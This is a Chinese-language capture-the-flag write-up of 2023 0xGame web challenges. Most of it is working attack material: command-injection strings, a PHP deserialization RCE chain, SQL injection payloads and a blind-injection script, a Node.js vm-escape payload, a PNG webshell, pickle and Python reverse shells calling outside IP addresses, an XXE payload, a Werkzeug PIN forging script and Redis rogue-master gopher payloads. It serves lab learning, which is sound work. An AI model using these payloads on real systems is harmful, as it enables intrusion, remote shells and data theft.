2023 0xGame Web

[Week 1] signin

这题直接看源码就行,easy

[Week 1] baby_php

OST /?a=QNKCDZO&b=240610708 HTTP/1.1
Host: 120.27.148.152:50014
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://120.27.148.152:50014
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://120.27.148.152:50014/?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: name=php://filter/read=convert.base64-encode/resource=flag
Connection: close

c=1024.1a

[Week 1] hello_http

POST /?query=ctf HTTP/1.1
Host: localhost:8012
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: HarmonyOS Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Referer: ys.mihoyo.com
Content-Length: 14

action=getflag

[Week 1] repo_leak

这个工具恢复源码:https://github.com/gakki429/Git_Extract

然后grep找一下就行

[Week 1] ping

base64编码绕过

ip=127.0.0.1|echo${IFS}"Y2F0IC9mKg=="|base64${IFS}-d|bash

ip=#127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash

[Week 2] ez_unserialize

<?php

show_source(__FILE__);
//error_reporting(0);
class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;
    }

    public function __wakeup() {
        $this->expired = False;
        echo "1";
    }

    public function expired() {
        echo "3";
        if ($this->expired) {
            echo "2";
            $this->helper->clean($this->key);  //
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }

    public function __set($name, $value) {  //给不存在的成员赋值时

        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {  // 这里
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);  // rce
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;    //
        }
    }
}
$q = $_POST['a'];
unserialize($q);
$a = new DataObject;
$a->storage = new Storage;
$o = new Cache();
$o->helper = new Helper;
$o->key = "cat /proc/self/environ";
$o->helper->funcs = ['clean'=>'system'];
$o->expired = "True";
$a->data = ['Harder' => $o];
echo serialize($a);
?> 

这题挺抽象的,POP链子不难,但是想复杂了

    public function __call($name, $args) {
        $this->funcs[$name](...$args);  // rce
    }

这个地方很抽象,我当时看到这个以为是用call_user_func之类的回调函数来实现rce,尝试了很久,发现不行

最好直接system函数,传一个参数的数组就行了,这是真的哭死

...$arg的功能
如果 $args 数组是 [1, 2, 3],那么 …$args 就会被扩展成 1, 2, 3,作为函数或方法的参数传递进去,相当于直接写成了 function_name(1, 2, 3)。

[Week 2] ez_sqli

因为禁止了太多的函数,大小写也被ban了,这里是运用了堆叠注入加预处理可以做,我当时写了半天的延时注入脚本!!!结果发现网站不稳定,就曝出了一个数据库的cf

什么是预处理:

https://www.cnblogs.com/geaozhang/p/9891338.html

然后尝试报错注入一下就出了

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C646174616261736528292929;prepare/**/aaa/**/from @c;execute/**/aaa;

select extractvalue(1,concat(0x7e,0x7e,(SELECT Group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')));


http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2853454C4543542047726F75705F636F6E636174287461626C655F6E616D65292046524F4D20696E666F726D6174696F6E5F736368656D612E7461626C6573205748455245207461626C655F736368656D61203D2027637466272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

MySQLdb.OperationalError: (1105, "XPATH syntax error: '~~flag,userinfo'")



select hex("select extractvalue(1,concat(0x7e,0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag')));");


http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D276374662720616E64207461626C655F6E616D653D27666C6167272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

(select group_concat(first_name,0x7e,last_name) from dvwa.users))

hex("select extractvalue(1,concat(0x7e,0x7e,(select flag from ctf.flag)));");

hex("select extractvalue(1,concat(0x7e,0x7e,substr((select flag from ctf.flag),29,30)));");

0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C737562737472282873656C65637420666C61672066726F6D206374662E666C6167292C32392C33302929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

贴一下我的垃圾预处理延时注入脚本

import requests
import time
import string
### 还需要改一改 这个脚本延时不稳定
dic1='abcdefghrjklmnopqrstuvwxyz0123456789ABCDEFGHRJKLMNOPQRSTUVWXYZ_.[]/'
dic = string.printable.replace("*","")
def main():
    #题目地址
    url = '''http://120.27.148.152:50021/?order=name;'''
    #注入payload
    payloads = "set/**/@a=0x{0};prepare/**/ctftest/**/from/**/@a;execute/**/ctftest;"
    flag = ''
    for i in range(1,30):
        #查询payload
        for j in dic:
            payload = "select if(substr((select database()),{0},1)={1},sleep(4),1);"
            url = url + payloads.format(str_to_hex(payload.format(str(i),j)))
            #将构造好的payload进行16进制转码和json转码
            now = time.time()
            try:
                r = requests.get(url=url, timeout=4)
            except Exception as e:
                pass
            # print(time.time() - now)
            if time.time() - now > 4:
                flag+= j
                print(flag)
                time.sleep(0.1)
                break
            # times = time.time()
            # res = requests.get(url = url)
            # # print(res.text)
            #
            # if time.time() - times >= 3:
            #     flag = flag + chr(j)
            #     print(flag)
            #     break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

[Week 2] sandbox

这题挺好的,学到了很多东西!!后面详细学习补充吧,分析一下这题的逻辑吧

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))   // session在这使用

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {  //__proto__
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}
var admins = {}


function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)  //污染

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password    //
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role  //  污染
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {    //admin
        console(req.body.code)
        let code = req.body.code   // req.body.code =
        let sandbox = Object.create(null)             //
        let context = vm.createContext(sandbox)

        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

这题首先是只能在登陆出进行污染,因为每次请求都会删除prototype的键值:

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

污染这里我以为constructor也被过滤了,当时麻爪了,结果发现他是在逃逸哪里过滤的

原型链污染payload:

{
	"constructor":{
		"prototype":{
		"Harder":"111"}
	},
	"username":"Harder",
	"password":"Harder"
}

参考的vm逃逸文章:https://xz.aliyun.com/t/11859,后续好好学习一下补充vm和vm2逃逸类型的知识

https://www.anquanke.com/post/id/237032#h3-3

这个是我的vm逃逸的payload:

    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc['const'+'ructor']['cons'+'tructor']('return pr'+'ocess'))();
            return p['mai'+'nModule']['re'+'quire']('child_p'+'rocess')['exe'+'cSync']('cat /f*').toString();
        }
    })

[Week 2] ez_upload

这题对抗渲染文件上传,进行一手二次渲染直接秒。

和upload-labs的17关不一样的是,这题后端验证绕过可以改文件后缀,有师傅陷入误区了(buish

二次渲染原理:

图片🐎绕不过,因为渲染会修改数据块,导致文件正确路径不能正常返回

https://blog.csdn.net/weixin_45588247/article/details/119177948

对抗着一块,github上搜索工具就行

https://github.com/hxer/imagecreatefrom-/blob/master/png/poc/test.png

switch ($_FILES['file']['type']) {
    case "image/gif":
        $source = imagecreatefromgif($_FILES['file']['tmp_name']);
        break;
    case "image/jpeg":
        $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
        break;
    case "image/png":
        $source = imagecreatefrompng($_FILES['file']['tmp_name']);
        break;
    default:
        die('Invalid file type!');
}

这个png和jpg比较好绕过,直接工具

python2 poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png test.png

[Week 3] notebook

这题一眼pickle反序列化,无过滤

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

这是源码,这题R指令不知道为啥一直打不通,后面换的i指令打通的

这题用的一个爆破密钥的工具,比较麻烦的是,服务器10分钟重启一次,需要重新爆破密钥

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in dic:
        for j in dic:
            for k in dic:
                for l in dic:
                    key = i + j + k + l
                    res = FSCM.decode('.eJw1yrsOgjAYQOFXMd2bwE8JlsShEkE0GMOtwkZLK2pREyUMhHdXB8_yLWdC98dbvZA_oYZ4nkVajalSGhOLerhxHQfbSkiytEFLAb9vIZCPziwrj-xfkAQh1YKHT2GoNvG4yXtq1XWWm6Bfmy0U-3gMT-B2gvPiyg43CdHXTldAhzYqh3aXJQzSTrqpXV3ICs3z_AEJNC9n.ZS-UbA.5BAmkmsUM3gKhRjHCssZxomglqg', key)
                    # print(res)
                    if 'notes' in str(res):
                        print(key)
                        exit()

这个脚本有几个地方需要自己改,看源码就能读懂

打i指令:

opcode=b'''(S'bash -c "bash -i >& /dev/tcp/36.xxx.xxx.159/port 0>&1"'
ios
system
.'''

本地伪造session好处:

  1. 可以解决用工具伪造出现转义混乱的情况
  2. 本地伪造更加方便,不用浪费更多的时间。

然后把本地的shell直接放入session就可以打了,反弹shell比较慢

[Week 3] rss_parser

python的源码:

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')

        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

        result = {}

        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')

        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []

        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]

        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

这题考的是XXE任意文件读取,加伪造pin🐎实现rce,然后反弹shell/readflag

XXE的paylaod:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ELEMENT foo ANY>
<! ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
	<channel>
	<title>&xxe;</title>
	<link>&xxe;</link>
	</channel>
<root>

这是最后伪造pin码所用到的脚本:

import hashlib
from itertools import chain

# https://github.com/pallets/werkzeug/blob/2.0.x/src/werkzeug/debug/__init__.py#L43
# werkzeug2.0x 高版本
probably_public_bits = [
    'app'  # username   /etc/passwd里面找用户
    'flask.app',  # modname  默认值
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py'       #etattr(mod, '__file__', None),  报错得到,moddir
]
"""
private_bits参数一 :str(uuid.getnode()),  /sys/class/net/ens0/address  /sys/class/net/eth0/address  02:42:c0:a8:00:02
private_bits参数二 :# 一.get_machine_id(), /etc/machine-id  二. /proc/self/cgroup
"""
a = str(int("02:42:c0:a8:00:02".replace(":",""),16))
print(a)
private_bits = [
    '2485723332610'
    '96cec10d3d9307792745ec3b85c89620'
]
# 如果是docker需要读
#  '96cec10d3d9307792745ec3b85c89620'+'docker-fdcea420d972705e3e38b080e3ae658492f05756c6ed9d786b26b2b1b39d46e5.scope'


# 源码里面的
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.

rv = None

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

[Week 3] GoShop

这题不太明白考啥,我用了一个超大数字直接溢出了,买了11111111111111111111111个橘子,然后直接卖掉,买flag就行,等一手官方writeup

Goland的经典安全漏洞:

https://blog.h4ck.fun/golang_vuln_share/

[Week 3] zip_file_manager

直接用这个命令来反弹shell就行了,注意转义的问题,拼接一个;;.zip就行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("36.139.110.159",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

解法二:

用软链接的方法将/flag从更目录勾出来,2022国赛签到考点

ln -s /flag  test
zip --symlinks test.zip ./test

[Week 3] web_snapshot

Hint 1: 注意 curl_setopt 的参数以及 phpinfo 的信息

Hint 2: SSRF 打 Redis 主从复制 RCE

Hint 3: 通过 HTTP Location 跳转将请求协议从 http/https 转向 gopher/dict

参考:https://blog.csdn.net/whowhenhow5/article/details/121331789

redis的理解

redis主从复制的原理:就我个人理解,首先攻击者搭建了一个流氓主机,让被攻击机从属于该主机,因为攻击机可以把自己内部的数据同步到从机,所以可以通过比较复杂的过程实现将攻击程序发送的从机的步骤。而redisRedis 版本(4.x~5.0.5)可以加载外部模块来运行,即我们可以利用这一点加载恶意程序。

写php文件进行重定向

payload:

要进行gopher编写一下

payload1 = '''
slaveof 112.35.98.208 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'command'
quit
'''
<?php

header('Location:gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%31%33%0D%0A%31%31%32%2E%33%35%2E%39%38%2E%32%30%38%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
// one
header('Location:gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
//two
?>

分两次进行重定向,第一个写入恶意.so文件

第二个断开与主redis服务的连接,独立进行命令执行

[Week 4]

week4后面在补吧,学习中